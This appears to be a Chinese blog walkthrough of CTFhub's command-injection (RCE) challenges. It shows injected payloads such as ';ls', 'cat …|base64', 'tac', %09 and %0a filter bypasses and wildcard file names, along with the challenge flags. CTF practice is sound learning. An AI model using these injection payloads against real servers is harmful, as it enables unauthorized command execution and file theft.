CTFhub RCE解题思路

本文详细介绍了在不同过滤条件下如何利用命令注入漏洞获取flag,包括无过滤、过滤特定命令、过滤空格、过滤目录分隔符以及过滤运算符等场景,通过实例演示了如何使用ls、cat、tac、base64等工具进行绕过并提取敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

命令注入——无过滤

先让我们来明确一下知识点:

 先打开题目:

没有过滤,那就直接下命令

127.0.0.1;ls 

127.0.0.1;cat 249871313820494.php

我试了一下,发现里面什么都没有,可能是被过滤了,用|连接base64编码试一下

127.0.0.1;cat 249871313820494.php|base64

发现了flag,用base64解码试一试 

得到flag

过滤cat

打开题目:

用一样的方式命令:

127.0.0.1;ls

 发现有flag存在的php文件:但是题目说已经过滤了cat,所以就用tac来切换cat(我是这样做的,但是切换cat的方式有好多种,我只试出了这一种,其他的都没办法得到flag)

127.0.0.1;tac /flag|base64

 再用base64解码就可以得到flag

ctfhub{3e7bd9a80a0190d9ae107a50}

过滤空格

打开题目,发现空格被过滤,我建议是在url中直接输入

127.0.0.1;ls

 有一个含有flag的php文件,接着一步一步来,空格的话可以用%09;%20,/**/,<>,还有很多

http://challenge-542ccfdba3055daa.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat%09flag_234022699112599.php

再用ctrl+u查看源码,里面就有flag

 过滤目录分隔符

打开题目,发现/被过滤了,不能使用了,那没事我们也可以一步一步来

127.0.0.1;ls

再打开文件夹,文件夹也要用ls打开

127.0.0.1;ls flag_is_here

 

先让我们把目录定位到 flag_is_here的文件夹中,再打开含有flag的文件

127.0.0.1;cd flag_is_here;cat flag_3082496671458.php

被隐藏起来了,看一看源码吧 

发现了flag 

ctfhub{d1f04a1b8e99b42ee54e9778}

过滤运算符

我发现其实它过滤的和我用的没有太大的联系(不是),打开题目,发现他过滤了管道运算符|还有&,也不影响我们做题!

127.0.0.1;ls

127.0.0.1;cat flag_1400626919913.php

再利用CTRL+u查看源码即可 

 flag:

ctfhub{f10d29a9090febb04a371ada}

 综合练习

过滤了好多东西,用%0a绕过;

http://challenge-581e8d31cf4f3db7.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als#

http://challenge-581e8d31cf4f3db7.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Acd%09f*_is_here%0atac%09f*_259632229715423.p*p#

 再查看源码即可获得flag

ctfhub{f9cd583fcf4858c28ba70974}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值